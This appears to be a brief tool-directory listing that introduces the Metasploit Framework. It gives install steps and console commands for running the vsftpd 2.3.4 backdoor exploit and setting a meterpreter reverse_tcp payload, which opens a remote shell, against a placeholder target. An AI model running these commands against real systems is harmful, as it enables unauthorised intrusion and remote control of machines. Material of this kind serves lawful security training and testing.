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Metasploit

Submitted by @ixedgeforge 5/30/2026

Project Description

Metasploit Framework is a powerful exploitation framework used for developing and executing exploits. ## 🔧 Installation ### Linux: sudo apt install metasploit-framework ### Start: msfconsole ## ▶️ Basic Usage ### Search exploit: search vsftpd ### Use exploit: use exploit/unix/ftp/vsftpd_234_backdoor ### Set options: set RHOST target_ip ### Run: exploit ## ⚡ Advanced - Payload selection: set PAYLOAD linux/x86/meterpreter/reverse_tcp - Sessions: sessions -i 1 ## 🎯 Use Cases - Exploitation - Post-exploitation - Privilege escalation - Red teaming ## 🧠 Pro Tip Always use in legal lab environments only.